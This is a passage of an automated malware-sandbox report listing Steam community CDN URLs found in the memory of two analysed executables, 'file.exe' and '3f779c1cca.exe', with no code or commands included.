https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=ep
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053437024.0000000000778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/jav
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/main.js?v=W9BX
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216632753.0000000001697000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIg
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4NX
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=qYlgdgWOD4Ng&amp
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascriptx
Source: 3f779c1cca.exe, 0000000E.00000003.3053437024.0000000000778000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javw
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/sR
Source: 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017630282.0000000001209000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shaH
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=Ff_1prscqzeu&
Source: 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: 